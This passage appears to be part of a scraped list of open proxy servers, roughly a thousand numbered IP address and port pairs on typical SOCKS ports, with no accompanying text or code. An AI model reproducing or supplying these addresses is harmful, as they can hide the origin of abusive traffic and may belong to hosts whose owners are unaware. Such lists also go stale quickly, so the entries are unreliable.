188.124.12.43:3629 185 | 109.122.81.9:57553 186 | 165.22.214.24:28704 187 | 149.129.39.3:31316 188 | 123.49.53.170:5678 189 | 92.45.19.35:5678 190 | 5.172.188.92:5678 191 | 217.29.18.206:4145 192 | 128.127.94.160:5678 193 | 138.197.197.200:9050 194 | 103.16.60.22:50000 195 | 49.156.47.162:5678 196 | 213.96.16.193:4145 197 | 194.44.104.242:10800 198 | 47.108.93.125:10705 199 | 170.82.180.120:4153 200 | 178.253.204.206:1080 201 | 83.234.76.155:4145 202 | 119.148.103.5:4153 203 | 89.132.207.82:4145 204 | 103.221.254.102:54409 205 | 190.12.30.162:4153 206 | 194.67.9.178:4153 207 | 89.43.5.134:3629 208 | 177.54.195.48:4145 209 | 37.57.40.167:4145 210 | 164.132.95.239:62498 211 | 103.5.127.132:5678 212 | 150.129.170.13:44502 213 | 131.196.180.1:4153 214 | 68.71.249.153:48606 215 | 195.222.107.85:4153 216 | 203.77.239.201:4153 217 | 109.248.175.223:1088 218 | 36.95.133.234:1080 219 | 103.123.250.179:38362 220 | 167.99.12.224:12736 221 | 196.216.12.21:2420 222 | 221.2.71.10:4153 223 | 185.184.197.101:5678 224 | 178.69.12.30:50893 225 | 212.93.226.169:4153 226 | 103.235.199.93:5678 227 | 50.237.206.174:64312 228 | 49.51.74.195:21127 229 | 103.148.225.6:5678 230 | 167.71.236.109:9053 231 | 185.198.181.140:5678 232 | 116.199.170.65:4145 233 | 84.54.202.216:4145 234 | 190.145.77.219:4153 235 | 124.109.17.151:5678 236 | 31.22.7.188:35633 237 | 129.146.216.187:20000 238 | 122.252.179.66:5678 239 | 41.242.66.187:5678 240 | 188.165.225.139:46129 241 | 96.89.5.21:34032 242 | 45.132.236.217:8888 243 | 1.20.227.66:4145 244 | 208.98.171.227:39593 245 | 103.70.204.201:59311 246 | 103.69.216.250:5678 247 | 175.100.18.45:41575 248 | 89.39.114.31:4153 249 | 180.94.64.114:5678 250 | 103.25.123.193:44550 251 | 77.237.82.77:5678 252 | 185.20.115.118:34493 253 | 24.103.162.189:31337 254 | 41.72.214.14:5678 255 | 187.16.255.69:4153 256 | 81.89.69.37:4153 257 | 103.21.40.35:4145 258 | 103.235.66.198:5678 259 | 14.63.1.108:4145 260 | 123.58.106.108:4153 261 | 46.175.70.69:59376 262 | 192.159.39.30:3629 263 | 46.101.5.73:48528 264 | 166.62.118.86:48127 265 | 173.25.228.107:39593 266 | 176.114.228.40:44604 267 | 103.137.193.51:5678 268 | 27.147.185.73:5678 269 | 185.66.228.149:4145 270 | 109.238.222.5:42401 271 | 185.126.47.75:5678 272 | 41.57.156.202:5678 273 | 83.220.234.102:5678 274 | 181.15.154.154:52033 275 | 170.80.91.7:4145 276 | 86.101.187.193:4153 277 | 14.161.20.143:5678 278 | 95.161.188.246:61537 279 | 37.61.149.255:5678 280 | 212.200.161.241:5678 281 | 80.241.44.34:5678 282 | 192.169.244.80:11514 283 | 115.89.177.92:10081 284 | 1.10.189.133:50855 285 | 116.203.128.117:9050 286 | 181.174.85.107:5678 287 | 200.6.175.10:59341 288 | 85.25.111.162:5577 289 | 103.245.78.69:5678 290 | 177.136.34.26:4153 291 | 117.158.64.100:1080 292 | 36.67.27.205:35159 293 | 31.206.38.55:37630 294 | 185.216.18.138:44550 295 | 177.23.184.166:4145 296 | 46.209.47.3:1081 297 | 124.105.55.176:30906 298 | 201.184.155.20:5678 299 | 212.200.149.242:5678 300 | 103.206.119.73:4145 301 | 101.51.121.203:4153 302 | 80.68.76.178:4153 303 | 14.102.44.25:34047 304 | 178.62.22.215:19723 305 | 194.87.102.102:1111 306 | 190.14.229.242:5678 307 | 37.252.86.97:5678 308 | 89.251.144.37:30048 309 | 36.67.27.189:49524 310 | 45.146.13.219:5678 311 | 84.236.185.247:61710 312 | 185.89.180.151:4145 313 | 122.3.255.114:4145 314 | 103.156.249.37:5678 315 | 202.137.141.183:5678 316 | 181.49.212.122:5678 317 | 5.152.86.46:14888 318 | 185.49.240.153:3629 319 | 190.94.252.254:5678 320 | 115.178.27.155:5678 321 | 185.126.40.232:4153 322 | 118.97.119.98:4153 323 | 159.203.33.4:7108 324 | 36.37.92.1:4153 325 | 192.111.130.2:4145 326 | 114.57.39.113:5678 327 | 125.141.133.46:5566 328 | 40.136.41.6:1080 329 | 93.119.166.150:5678 330 | 202.72.209.3:44550 331 | 193.163.116.29:1080 332 | 154.212.5.190:5678 333 | 201.221.134.74:5678 334 | 45.70.30.195:5678 335 | 89.218.170.58:41452 336 | 184.178.172.13:15311 337 | 203.153.113.238:5678 338 | 201.184.238.106:5678 339 | 181.143.69.227:5678 340 | 120.39.221.140:8001 341 | 77.89.251.138:4145 342 | 37.59.98.31:9050 343 | 50.204.174.52:60285 344 | 139.228.3.167:5678 345 | 85.25.91.141:5577 346 | 27.54.166.212:57995 347 | 103.163.36.185:4145 348 | 187.19.127.253:4153 349 | 62.183.98.181:4145 350 | 85.62.101.113:1080 351 | 187.210.136.88:4153 352 | 202.62.37.187:4153 353 | 158.58.133.187:54266 354 | 115.90.219.181:4145 355 | 203.206.235.153:50042 356 | 176.98.248.2:4153 357 | 64.119.30.126:5678 358 | 118.172.47.97:51327 359 | 197.211.240.119:5678 360 | 84.232.247.54:1099 361 | 103.164.113.26:5678 362 | 181.209.86.171:58682 363 | 179.43.98.186:5678 364 | 168.232.41.148:5678 365 | 59.50.95.62:7091 366 | 62.103.186.66:4153 367 | 177.52.26.234:4145 368 | 85.105.156.8:4153 369 | 194.153.194.237:1080 370 | 103.83.174.95:4145 371 | 45.129.123.101:4153 372 | 23.88.36.141:9050 373 | 185.139.56.133:4145 374 | 202.21.112.172:1080 375 | 43.228.125.91:29835 376 | 43.241.30.222:4145 377 | 177.184.67.13:4145 378 | 50.62.63.126:49069 379 | 107.170.50.49:36827 380 | 185.171.54.29:4153 381 | 97.74.230.87:26236 382 | 103.250.153.202:41889 383 | 188.166.104.152:17538 384 | 103.80.210.33:5678 385 | 103.153.62.70:5678 386 | 91.122.49.26:51327 387 | 186.67.159.90:4145 388 | 54.36.230.214:1080 389 | 217.78.61.131:5678 390 | 106.245.183.58:4145 391 | 178.218.105.29:5678 392 | 182.48.70.154:38440 393 | 198.199.64.196:61877 394 | 103.49.189.14:5678 395 | 139.5.132.106:4153 396 | 222.212.85.16:7000 397 | 110.44.113.162:5678 398 | 181.111.175.236:8291 399 | 37.26.136.181:39323 400 | 164.163.21.10:4153 401 | 188.247.39.14:43032 402 | 50.251.146.121:5678 403 | 62.122.201.246:50129 404 | 95.142.223.24:52666 405 | 103.199.97.5:39825 406 | 165.227.104.122:26065 407 | 201.219.217.70:31337 408 | 177.86.64.241:3629 409 | 213.204.80.167:5678 410 | 182.75.132.106:5678 411 | 91.126.138.135:5678 412 | 174.75.211.222:4145 413 | 103.227.252.81:1080 414 | 125.141.139.112:5566 415 | 109.247.232.235:5678 416 | 103.106.217.130:4145 417 | 186.249.184.194:5678 418 | 213.6.66.66:57391 419 | 84.243.108.186:3629 420 | 50.63.13.221:40740 421 | 178.72.90.70:5678 422 | 119.82.251.250:31678 423 | 142.93.78.172:61608 424 | 93.87.74.222:4153 425 | 117.242.147.97:4153 426 | 192.252.215.5:16137 427 | 24.51.249.27:5678 428 | 177.207.192.137:4145 429 | 103.114.98.205:1080 430 | 109.232.106.236:52435 431 | 177.87.223.194:49233 432 | 41.162.108.180:5678 433 | 103.155.166.250:1080 434 | 201.217.245.229:37254 435 | 89.250.149.114:59599 436 | 181.39.74.170:5678 437 | 109.238.223.67:61150 438 | 82.142.135.10:4145 439 | 200.58.212.19:14888 440 | 186.211.8.1:35852 441 | 49.156.42.210:5678 442 | 202.29.226.54:4153 443 | 178.124.156.93:5678 444 | 201.140.238.231:5678 445 | 217.217.175.32:4153 446 | 192.111.130.5:17002 447 | 182.160.124.26:5678 448 | 103.122.65.21:5678 449 | 79.133.200.147:40904 450 | 92.207.253.226:4145 451 | 103.30.86.233:4153 452 | 184.178.172.18:15280 453 | 202.75.108.122:5678 454 | 159.192.148.230:5678 455 | 103.164.107.98:5678 456 | 203.76.112.68:5678 457 | 152.160.144.6:1080 458 | 45.163.200.2:4145 459 | 190.144.224.182:44550 460 | 70.82.75.118:4153 461 | 82.103.118.42:1099 462 | 79.143.180.109:63640 463 | 93.48.228.247:4153 464 | 91.210.176.104:1088 465 | 103.3.77.194:5678 466 | 43.224.10.32:6667 467 | 201.158.120.39:4153 468 | 93.171.224.58:4153 469 | 187.86.153.254:30660 470 | 103.156.161.96:5678 471 | 103.249.25.50:5678 472 | 192.111.135.18:18301 473 | 80.79.66.82:3629 474 | 91.193.252.112:57296 475 | 103.140.234.78:5678 476 | 182.52.58.44:4153 477 | 5.34.74.214:4145 478 | 5.252.177.254:12020 479 | 125.27.251.171:36743 480 | 70.185.68.133:4145 481 | 36.92.197.99:5678 482 | 46.55.161.113:5678 483 | 212.50.19.150:4153 484 | 220.196.62.34:5678 485 | 24.139.143.226:4153 486 | 209.213.42.215:64312 487 | 37.238.134.130:31772 488 | 200.223.164.210:4153 489 | 196.50.7.11:4153 490 | 109.70.189.51:3629 491 | 5.141.81.106:44271 492 | 91.237.161.211:56889 493 | 185.208.191.110:1088 494 | 109.167.249.41:4145 495 | 103.239.165.28:5678 496 | 159.65.159.172:4003 497 | 24.37.245.42:51056 498 | 190.85.212.170:5678 499 | 103.14.232.46:5678 500 | 109.173.96.85:3629 501 | 89.28.32.203:57391 502 | 24.234.142.122:31008 503 | 47.52.254.9:9100 504 | 103.124.190.130:5678 505 | 82.99.203.76:58523 506 | 67.201.33.9:25280 507 | 70.60.230.193:32940 508 | 190.24.86.206:4145 509 | 24.203.247.55:5678 510 | 192.169.250.203:17296 511 | 81.3.176.219:1080 512 | 190.215.207.162:5678 513 | 49.156.38.126:5678 514 | 50.236.148.246:31699 515 | 70.166.167.55:57745 516 | 4.28.96.166:39593 517 | 177.136.124.48:3629 518 | 139.59.13.219:51862 519 | 113.108.247.146:20086 520 | 190.171.174.82:5678 521 | 185.43.8.43:54125 522 | 201.206.141.102:6969 523 | 101.35.115.136:20012 524 | 36.89.105.242:5678 525 | 190.119.186.91:5678 526 | 98.162.25.4:31654 527 | 117.102.102.155:4153 528 | 159.224.243.185:61303 529 | 72.221.172.203:4145 530 | 213.6.77.198:5678 531 | 69.61.200.104:36181 532 | 174.77.111.197:4145 533 | 185.17.134.149:61535 534 | 195.112.197.19:41021 535 | 192.111.137.35:4145 536 | 150.129.151.42:6667 537 | 186.211.199.118:4145 538 | 185.46.170.253:4145 539 | 185.32.44.1:4153 540 | 95.158.139.61:10801 541 | 187.95.136.14:5678 542 | 36.89.85.249:5678 543 | 45.221.73.46:5678 544 | 103.164.107.66:5678 545 | 103.6.184.222:36983 546 | 185.171.55.162:4153 547 | 185.152.12.49:54680 548 | 190.145.255.246:4145 549 | 188.175.207.27:5678 550 | 87.236.210.48:443 551 | 103.105.70.9:30538 552 | 36.67.245.165:5678 553 | 77.241.20.215:55915 554 | 181.143.54.162:4153 555 | 168.121.137.64:10801 556 | 200.108.196.108:4145 557 | 96.38.232.108:34032 558 | 185.171.54.36:4153 559 | 43.242.242.140:5678 560 | 202.21.113.86:4153 561 | 103.146.184.62:1085 562 | 103.144.255.146:5678 563 | 5.166.57.222:49710 564 | 197.232.21.22:58253 565 | 72.221.196.157:35904 566 | 200.218.247.245:5678 567 | 192.252.220.92:17328 568 | 201.187.102.73:5678 569 | 59.36.136.238:1080 570 | 50.197.210.138:32100 571 | 85.198.185.26:5678 572 | 110.172.160.42:34047 573 | 103.134.38.102:1080 574 | 197.255.253.33:5678 575 | 51.83.140.70:8181 576 | 212.34.111.254:4145 577 | 200.116.198.177:32072 578 | 95.165.163.188:36496 579 | 188.18.10.140:5678 580 | 45.142.214.123:30002 581 | 192.252.211.197:14921 582 | 184.178.172.25:15291 583 | 201.93.159.234:4145 584 | 37.98.218.137:5678 585 | 212.115.232.79:10800 586 | 64.119.31.178:5678 587 | 201.140.238.230:5678 588 | 178.238.25.174:1337 589 | 185.49.107.43:5678 590 | 103.199.155.26:1080 591 | 177.30.63.43:4153 592 | 103.78.25.99:5678 593 | 187.130.139.197:37812 594 | 197.255.254.149:5678 595 | 218.108.31.28:4145 596 | 187.177.30.154:4145 597 | 103.146.16.174:4145 598 | 187.62.191.3:33428 599 | 62.99.178.46:43636 600 | 167.86.95.242:20044 601 | 182.160.124.106:5678 602 | 122.144.129.9:20086 603 | 185.37.211.222:43358 604 | 190.98.189.228:5678 605 | 188.246.239.42:5678 606 | 192.162.193.243:54313 607 | 195.167.104.114:4153 608 | 89.222.132.31:3629 609 | 195.226.105.219:4153 610 | 8.40.133.10:1099 611 | 185.132.1.221:4145 612 | 201.184.135.155:4145 613 | 83.168.84.142:4153 614 | 138.68.6.227:9070 615 | 51.222.12.245:10084 616 | 120.25.121.1:7890 617 | 77.120.163.103:42208 618 | 178.151.205.154:38421 619 | 85.25.201.22:5577 620 | 103.94.133.94:4153 621 | 5.188.64.79:5678 622 | 202.21.114.134:4153 623 | 188.72.51.34:5678 624 | 92.222.206.151:2020 625 | 217.197.158.182:5678 626 | 103.95.97.186:31244 627 | 103.127.56.81:5678 628 | 202.51.103.154:5678 629 | 72.206.181.103:4145 630 | 138.68.57.62:9050 631 | 171.224.240.3:5678 632 | 93.175.194.154:3629 633 | 180.211.191.94:4153 634 | 195.175.87.14:4153 635 | 200.105.192.6:5678 636 | 91.226.51.200:4145 637 | 61.171.28.45:5678 638 | 168.227.145.35:5678 639 | 178.170.54.205:9050 640 | 193.151.197.122:3629 641 | 191.181.15.82:59341 642 | 72.210.208.101:4145 643 | 85.25.196.76:5577 644 | 183.173.23.91:7890 645 | 39.96.175.55:1080 646 | 138.59.140.77:57669 647 | 197.253.58.89:5678 648 | 162.247.18.162:4153 649 | 111.194.229.67:5678 650 | 36.91.233.114:5678 651 | 12.187.55.1:39593 652 | 187.19.127.179:4153 653 | 202.153.91.165:1080 654 | 188.165.254.122:9420 655 | 67.205.183.80:63922 656 | 109.167.134.253:44788 657 | 181.48.193.42:2580 658 | 187.44.167.78:47074 659 | 185.62.174.160:3629 660 | 196.41.102.130:60216 661 | 139.162.100.170:9050 662 | 85.163.125.74:5678 663 | 195.162.81.99:3629 664 | 45.228.96.34:33406 665 | 202.151.163.10:1080 666 | 186.86.137.96:5678 667 | 167.99.239.113:47430 668 | 200.29.120.4:5678 669 | 72.223.168.73:57494 670 | 190.221.161.186:4153 671 | 181.166.106.224:42315 672 | 98.170.57.231:4145 673 | 121.200.60.198:8010 674 | 46.174.234.96:5678 675 | 117.241.169.121:5678 676 | 177.54.201.168:51735 677 | 117.242.147.5:4153 678 | 178.35.252.242:3629 679 | 67.204.21.1:64312 680 | 184.179.216.130:4145 681 | 119.29.88.110:8003 682 | 91.202.79.10:3629 683 | 103.87.201.135:4145 684 | 91.105.152.168:4145 685 | 185.17.132.158:4145 686 | 91.150.189.122:60647 687 | 61.141.21.34:1080 688 | 82.165.137.115:7061 689 | 116.206.61.179:5678 690 | 51.91.17.125:56148 691 | 46.99.161.122:5678 692 | 178.168.91.178:5678 693 | 109.87.78.144:4145 694 | 27.147.155.70:52596 695 | 190.128.28.69:4153 696 | 190.92.4.231:5678 697 | 92.49.31.16:5678 698 | 27.147.241.134:10800 699 | 103.209.204.141:5678 700 | 186.208.65.114:4153 701 | 94.247.241.70:51006 702 | 109.86.225.146:4145 703 | 202.43.117.134:4145 704 | 202.6.224.51:1080 705 | 123.213.70.176:4145 706 | 217.145.199.112:56284 707 | 64.27.10.80:32688 708 | 50.96.204.4:18351 709 | 102.68.17.196:5678 710 | 80.81.232.151:5678 711 | 37.26.136.175:3629 712 | 186.147.254.122:5678 713 | 91.225.166.198:4153 714 | 222.124.34.196:5678 715 | 98.175.31.195:4145 716 | 72.195.34.60:27391 717 | 197.250.15.58:3043 718 | 80.80.167.22:10801 719 | 103.76.201.118:8291 720 | 187.49.193.202:5678 721 | 111.43.105.166:7890 722 | 194.28.91.10:5678 723 | 185.12.20.205:1080 724 | 185.56.246.76:8291 725 | 79.106.224.206:5678 726 | 95.77.104.79:37975 727 | 94.228.192.197:3629 728 | 216.154.201.132:54321 729 | 103.197.205.80:443 730 | 41.90.245.15:10801 731 | 202.93.228.13:4153 732 | 221.1.215.150:5678 733 | 36.67.8.27:5678 734 | 185.7.169.29:5678 735 | 188.163.170.130:35578 736 | 211.212.237.221:4145 737 | 31.173.140.183:3629 738 | 91.246.213.104:4145 739 | 103.37.111.118:21004 740 | 103.82.11.237:4153 741 | 168.0.172.100:5678 742 | 110.78.164.234:4153 743 | 203.205.34.91:5678 744 | 195.175.73.214:5678 745 | 51.83.190.248:19050 746 | 190.115.255.106:5678 747 | 200.231.188.18:4153 748 | 101.51.141.11:4153 749 | 181.78.16.198:5678 750 | 91.250.61.5:3629 751 | 103.8.115.27:48644 752 | 103.82.13.89:5678 753 | 70.166.167.36:4145 754 | 94.159.31.98:1080 755 | 202.70.80.153:5678 756 | 92.255.185.6:4145 757 | 82.137.250.18:5678 758 | 85.113.140.196:3629 759 | 36.255.211.1:55438 760 | 152.70.246.237:40009 761 | 161.49.158.165:5678 762 | 200.58.76.160:5678 763 | 185.51.92.103:51327 764 | 142.44.136.97:7001 765 | 119.29.48.249:8888 766 | 106.240.89.60:4145 767 | 71.69.154.60:10019 768 | 103.108.182.5:31080 769 | 5.58.66.55:14888 770 | 185.51.92.108:51327 771 | 60.241.231.114:4153 772 | 77.89.204.254:4145 773 | 186.97.172.178:5678 774 | 61.7.195.206:44594 775 | 185.136.150.252:4145 776 | 50.192.49.5:32100 777 | 123.200.9.30:5678 778 | 192.111.137.34:18765 779 | 88.255.102.114:1082 780 | 45.81.225.67:7056 781 | 45.117.83.62:4040 782 | 178.79.161.73:32714 783 | 194.213.43.166:59316 784 | 188.237.60.27:1080 785 | 131.221.182.14:4153 786 | 37.26.86.206:4145 787 | 170.244.64.198:31476 788 | 61.142.72.150:33235 789 | 46.35.249.189:49795 790 | 164.52.42.6:4145 791 | 5.17.90.170:5678 792 | 139.59.79.64:25838 793 | 109.75.34.152:59341 794 | 188.170.237.214:3629 795 | 36.67.146.37:5678 796 | 37.17.53.108:3629 797 | 5.178.193.43:1080 798 | 131.161.176.145:5678 799 | 186.159.3.193:45524 800 | 46.8.38.1:4153 801 | 200.11.219.106:5678 802 | 65.20.187.60:5678 803 | 1.9.164.242:35471 804 | 167.99.153.77:35112 805 | 192.241.252.114:64021 806 | 192.111.139.163:19404 807 | 213.138.77.238:4145 808 | 182.93.80.3:8291 809 | 103.11.135.77:1080 810 | 202.131.246.250:5678 811 | 185.215.163.94:3629 812 | 177.74.136.33:5678 813 | 203.150.136.34:3629 814 | 85.248.57.129:4153 815 | 5.1.104.66:33041 816 | 212.39.114.139:5678 817 | 46.174.235.37:5678 818 | 183.88.212.247:1080 819 | 8.218.44.70:54256 820 | 119.29.221.234:8003 821 | 37.57.38.133:10801 822 | 103.210.29.201:31433 823 | 111.59.85.161:5678 824 | 170.246.85.107:37163 825 | 181.205.5.74:5678 826 | 138.204.234.27:5678 827 | 103.102.15.165:1080 828 | 190.186.216.196:5678 829 | 183.177.127.42:5678 830 | 103.122.64.229:1080 831 | 81.210.61.2:65000 832 | 181.204.2.242:5678 833 | 31.28.241.117:4145 834 | 50.84.203.105:5678 835 | 81.177.142.19:1080 836 | 176.120.191.184:3629 837 | 203.153.109.150:49947 838 | 1.9.167.35:60489 839 | 186.189.204.222:5678 840 | 195.24.66.5:9050 841 | 181.13.198.90:4153 842 | 186.208.115.6:5678 843 | 103.120.202.53:5678 844 | 125.141.133.49:5566 845 | 94.240.10.115:5678 846 | 58.252.219.12:11337 847 | 190.210.93.15:5678 848 | 202.21.115.94:44574 849 | 161.49.222.67:4145 850 | 181.94.246.125:4153 851 | 76.26.114.253:39593 852 | 110.235.255.179:5678 853 | 178.212.52.67:5678 854 | 36.66.55.43:5678 855 | 130.61.153.38:9050 856 | 105.29.64.195:40400 857 | 36.95.4.169:5678 858 | 184.105.134.166:48324 859 | 103.85.67.169:4145 860 | 178.212.65.61:3629 861 | 152.32.84.108:4153 862 | 46.254.217.67:61781 863 | 208.102.51.6:58208 864 | 185.94.219.160:1080 865 | 103.140.35.11:4145 866 | 117.45.139.81:8003 867 | 81.218.45.150:5678 868 | 167.114.89.174:37666 869 | 216.218.240.46:48324 870 | 139.5.29.97:36983 871 | 159.89.160.152:54858 872 | 103.81.156.25:9999 873 | 156.155.188.152:5678 874 | 169.255.190.18:4145 875 | 70.60.230.8:34116 876 | 45.235.148.4:3629 877 | 83.168.84.130:4153 878 | 188.190.101.143:4145 879 | 41.190.55.154:5678 880 | 186.194.234.18:4153 881 | 41.216.68.254:5678 882 | 1.20.220.79:4145 883 | 203.202.253.186:58309 884 | 83.218.186.22:5678 885 | 200.52.144.170:33865 886 | 109.72.97.66:4145 887 | 180.211.179.150:40153 888 | 2.139.162.80:4145 889 | 109.68.189.22:54643 890 | 200.3.173.140:5678 891 | 181.129.83.234:5678 892 | 190.4.205.226:4153 893 | 1.179.148.9:36476 894 | 91.216.254.14:55555 895 | 119.2.54.25:5678 896 | 189.16.248.226:5678 897 | 185.21.39.46:58351 898 | 45.125.63.46:44110 899 | 92.242.221.236:5678 900 | 177.139.130.157:4153 901 | 173.255.199.69:19151 902 | 46.101.36.144:11475 903 | 103.250.158.21:6667 904 | 77.121.5.131:1080 905 | 118.179.173.253:5678 906 | 117.202.20.69:1088 907 | 132.255.224.193:4153 908 | 117.220.171.105:4153 909 | 176.123.56.58:3629 910 | 81.23.3.237:3629 911 | 185.49.170.20:33626 912 | 176.98.95.105:30759 913 | 103.221.253.145:38247 914 | 187.87.200.106:5678 915 | 103.155.169.19:5678 916 | 83.234.206.200:51327 917 | 154.66.124.51:5678 918 | 109.74.10.39:10123 919 | 131.221.165.53:4153 920 | 119.235.50.246:4153 921 | 207.201.218.182:9051 922 | 109.87.130.6:5678 923 | 103.76.24.29:5678 924 | 62.33.235.50:4153 925 | 192.111.139.162:4145 926 | 213.174.0.72:1080 927 | 24.37.221.246:4145 928 | 189.52.165.134:1080 929 | 213.82.192.26:1088 930 | 139.255.113.194:5678 931 | 62.33.210.34:41051 932 | 182.253.192.186:46634 933 | 113.53.29.218:45189 934 | 178.23.149.205:5678 935 | 200.46.191.130:5678 936 | 90.181.150.210:4145 937 | 154.72.201.190:42252 938 | 27.123.5.26:5678 939 | 121.65.173.82:4145 940 | 62.73.127.98:10801 941 | 103.241.227.110:6667 942 | 36.94.130.66:5678 943 | 14.102.64.209:60616 944 | 164.132.135.183:32826 945 | 104.131.8.62:10808 946 | 191.98.196.15:5678 947 | 190.52.128.247:5678 948 | 72.195.34.58:4145 949 | 103.248.196.98:5678 950 | 218.75.69.50:56430 951 | 202.124.46.97:4145 952 | 12.228.137.37:32307 953 | 110.44.126.221:5678 954 | 85.25.100.47:5577 955 | 190.233.243.175:5678 956 | 103.137.124.10:55492 957 | 81.199.89.88:1088 958 | 95.82.169.251:5678 959 | 186.190.228.83:4153 960 | 98.162.25.23:4145 961 | 195.39.243.198:3629 962 | 212.156.55.34:5678 963 | 49.51.189.171:21127 964 | 103.151.140.190:5678 965 | 117.28.254.143:4145 966 | 202.5.37.241:49151 967 | 201.158.10.64:5678 968 | 200.116.198.160:58927 969 | 31.28.99.25:55767 970 | 14.142.20.134:4145 971 | 193.200.151.69:32777 972 | 169.239.221.89:1080 973 | 202.91.188.81:4145 974 | 202.57.37.197:35846 975 | 190.210.251.2:37240 976 | 177.84.78.63:5678 977 | 149.56.44.70:53007 978 | 184.181.217.210:4145 979 | 89.36.162.249:4145 980 | 103.164.107.114:5678 981 | 87.236.210.62:443 982 | 193.34.161.129:44436 983 | 8.42.68.121:39593 984 | 186.47.232.243:5678 985 | 92.249.219.47:59587 986 | 85.25.91.161:5577 987 | 36.133.214.97:81 988 | 58.215.218.170:10800 989 | 192.252.214.20:15864 990 | 81.17.81.34:4145 991 | 192.111.137.37:18762 992 | 103.250.148.82:41889 993 | 204.101.61.81:4145 994 | 185.49.38.25:1088 995 | 185.61.92.207:39949 996 | 69.75.122.146:39593 997 | 77.104.103.237:5678 998 | 202.138.242.6:38373 999 | 118.123.241.59:10808 1000 | 103.153.140.193:4153 1001 | 91.214.130.253:61221 1002 | 190.85.26.5:4153 1003 | 36.89.229.97:50540 1004 | 195.24.61.7:51544 1005 | 46.227.162.98:33802 1006 | 103.141.175.182:5678 1007 | 85.237.62.189:3629 1008 | 46.99.177.91:3629 1009 | 185.89.65.165:33744 1010 | 189.38.3.22:4153 1011 | 89.179.202.161:5678 1012 | 91.193.125.123:3629 1013 | 103.99.110.222:5678 1014 | 98.162.96.52:4145 1015 | 8.42.71.226:39593 1016 | 206.189.127.181:46374 1017 | 103.58.75.24:5678 1018 | 110.164.156.114:5678 1019 | 112.163.21.154:23386 1020 | 190.106.203.86:5678 1021 | 46.173.35.229:3629 1022 | 45.114.70.164:3629 1023 | 119.93.122.233:4145 1024 | 45.235.151.58:3629 1025 | 170.84.48.105:55731 1026 | 67.204.131.163:3629 1027 | 65.20.155.226:5678 1028 | 8.42.69.93:39593 1029 | 176.241.94.228:10801 1030 | 45.85.18.37:4145 1031 | 106.15.60.37:7890 1032 | 89.221.60.110:4153 1033 | 139.196.229.151:43175 1034 | 72.223.168.67:4145 1035 | 82.207.59.154:3629 1036 | 193.84.184.25:5678 1037 | 123.49.48.130:5678 1038 | 185.78.16.76:5678 1039 | 192.158.15.201:50877 1040 | 198.1.94.46:15456 1041 | 181.209.219.28:4153 1042 | 185.79.241.38:5678 1043 | 36.91.58.47:5678 1044 | 91.185.236.236:4145 1045 | 194.228.84.10:4145 1046 | 72.195.34.35:27360 1047 | 202.62.39.177:5678 1048 | 66.118.198.247:54321 1049 | 183.173.187.60:7890 1050 | 81.16.1.71:5678 1051 | 140.83.81.231:12345 1052 | 176.65.240.48:5678 1053 | 121.101.185.5:43296 1054 | 36.95.142.26:4153 1055 | 185.188.216.93:4145 1056 | 115.85.65.147:42765 1057 | 178.62.79.49:53005 1058 | 45.115.115.146:31141 1059 | 173.206.133.93:4145 1060 | 184.178.172.14:4145 1061 | 180.92.212.200:5678 1062 | 46.188.82.63:4153 1063 | 72.210.252.134:46164 1064 | 181.211.101.242:5678 1065 | 31.210.225.135:4153 1066 | 118.172.181.147:51411 1067 | 103.51.44.41:4145 1068 | 195.219.98.27:5678 1069 | 103.175.80.54:1080 1070 | 128.199.245.23:24527 1071 | 176.96.155.160:4153 1072 | 177.93.72.38:4153 1073 | 91.244.69.154:5678 1074 | 103.114.98.206:5678 1075 | 187.60.66.45:5678 1076 | 178.48.68.61:4145 1077 | 94.139.170.82:33848 1078 | 167.99.62.42:42688 1079 | 203.150.113.44:14153 1080 | 95.57.214.38:5678 1081 | 103.240.109.26:4145 1082 | 202.150.148.218:61924 1083 | 177.10.84.121:4145 1084 | 202.148.3.68:4153 1085 | 103.234.26.242:1080 1086 | 186.159.17.194:5678 1087 | 188.133.160.22:4145 1088 | 103.102.141.39:4145 1089 | 37.238.169.18:5678 1090 | 192.144.104.1:33283 1091 | 114.134.190.164:5678 1092 | 98.162.25.29:31679 1093 | 177.54.136.150:5678 1094 | 189.121.227.30:5678 1095 | 186.103.143.210:4153 1096 | 5.180.100.24:5678 1097 | 213.14.31.122:35314 1098 | 103.29.140.65:5678 1099 | 122.116.124.83:5678 1100 | 103.164.107.86:5678 1101 | 72.206.181.123:4145 1102 | 177.19.152.170:5678 1103 | 178.134.155.82:49483 1104 | 181.143.228.106:35800 1105 | 64.227.53.22:9050 1106 | 43.252.158.27:4145 1107 | 188.138.179.13:4153 1108 | 185.102.236.16:5678 1109 | 82.144.97.2:1099 1110 | 91.230.199.174:32151 1111 | 116.66.205.50:5678 1112 | 54.39.30.128:5678 1113 | 45.125.222.125:47239 1114 | 94.26.108.67:2580 1115 | 115.85.86.114:5678 1116 | 130.193.123.34:5678 1117 | 83.168.89.225:4153 1118 | 181.143.45.20:4153 1119 | 210.245.51.43:4145 1120 | 186.97.236.242:5678 1121 | 5.160.72.150:43130 1122 | 187.122.248.194:5678 1123 | 72.221.196.145:4145 1124 | 78.140.7.239:40009 1125 | 202.148.12.90:51302 1126 | 168.90.15.78:1080 1127 | 78.38.91.97:7070 1128 | 84.53.239.95:4145 1129 | 120.196.228.73:1081 1130 | 202.183.155.242:4153 1131 | 192.241.211.29:60287 1132 | 185.87.121.5:8975 1133 | 213.145.137.102:37447 1134 | 49.156.39.162:5678 1135 | 142.93.143.155:9010 1136 | 203.77.240.76:4145 1137 | 94.240.198.202:5678 1138 | 178.219.126.180:5678 1139 | 114.96.77.41:5678 1140 | 113.161.128.192:4153 1141 | 190.85.26.10:3629 1142 | 91.92.94.69:5678 1143 | 178.254.174.196:4145 1144 | 82.117.247.76:31080 1145 | 1.179.173.114:4153 1146 | 103.224.54.225:31433 1147 | 103.87.86.146:4153 1148 | 103.83.185.1:4145 1149 | 188.124.46.55:5678 1150 | 60.12.214.184:46849 1151 | 117.242.147.73:46152 1152 | 178.189.11.134:61039 1153 | 195.162.81.91:34862 1154 | 169.239.223.136:52178 1155 | 176.98.156.64:4145 1156 | 196.0.111.186:46048 1157 | 163.53.204.182:56447 1158 | 186.1.182.194:4153 1159 | 80.73.87.202:4153 1160 | 217.218.242.75:5678 1161 | 5.58.47.25:3629 1162 | 185.47.184.253:45463 1163 | 199.1.155.103:5678 1164 | 95.0.206.54:5678 1165 | 191.180.206.74:4153 1166 | 36.94.178.53:5678 1167 | 89.218.5.109:50733 1168 | 43.224.10.43:6667 1169 | 216.215.126.106:48324 1170 | 103.66.69.74:4145 1171 | 79.110.114.68:5678 1172 | 213.184.225.80:5678 